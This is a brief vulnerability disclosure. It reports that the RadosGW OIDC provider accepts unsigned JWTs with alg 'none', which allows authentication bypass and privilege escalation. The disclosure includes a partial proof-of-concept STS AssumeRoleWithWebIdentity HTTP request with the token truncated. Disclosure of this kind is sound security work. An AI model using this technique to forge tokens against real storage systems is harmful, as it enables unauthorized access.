This vulnerability affects the RadosGW OIDC provider by allowing attackers to bypass authentication using JWTs with "none" as the algorithm (alg). The lack of signature enforcement creates a serious risk of unauthorized access and privilege escalation.

The vulnerability is probably in the RadosGW OIDC provider.

PoC

The HTTP request can be found below. But without the JWT:

POST / HTTP/2 Host: storage.xxx.se User-Agent: aws-sdk-go-v2/1.18.0 os/macos lang/go/1.21.1 X:nocoverageredesign md/GOOS/darwin md/GOARCH/arm64 api/sts/1.19.0 Content-Type: application/x-www-form-urlencoded Amz-Sdk-Invocation-Id: 30a74697-7d7e-4c02-b041-97d68156ee78 Amz-Sdk-Request: attempt=1; max=3 Content-Length: 1508 Accept-Encoding: gzip, deflate, br

Action=AssumeRoleWithWebIdentity&DurationSeconds=3600&RoleArn=arn%3Aaws%3Aiam%3A%3Aorgpentest002%3Arole%2Fu-pentest002STS&RoleSessionName=test&Version=2011-06-15&WebIdentityToken=ey..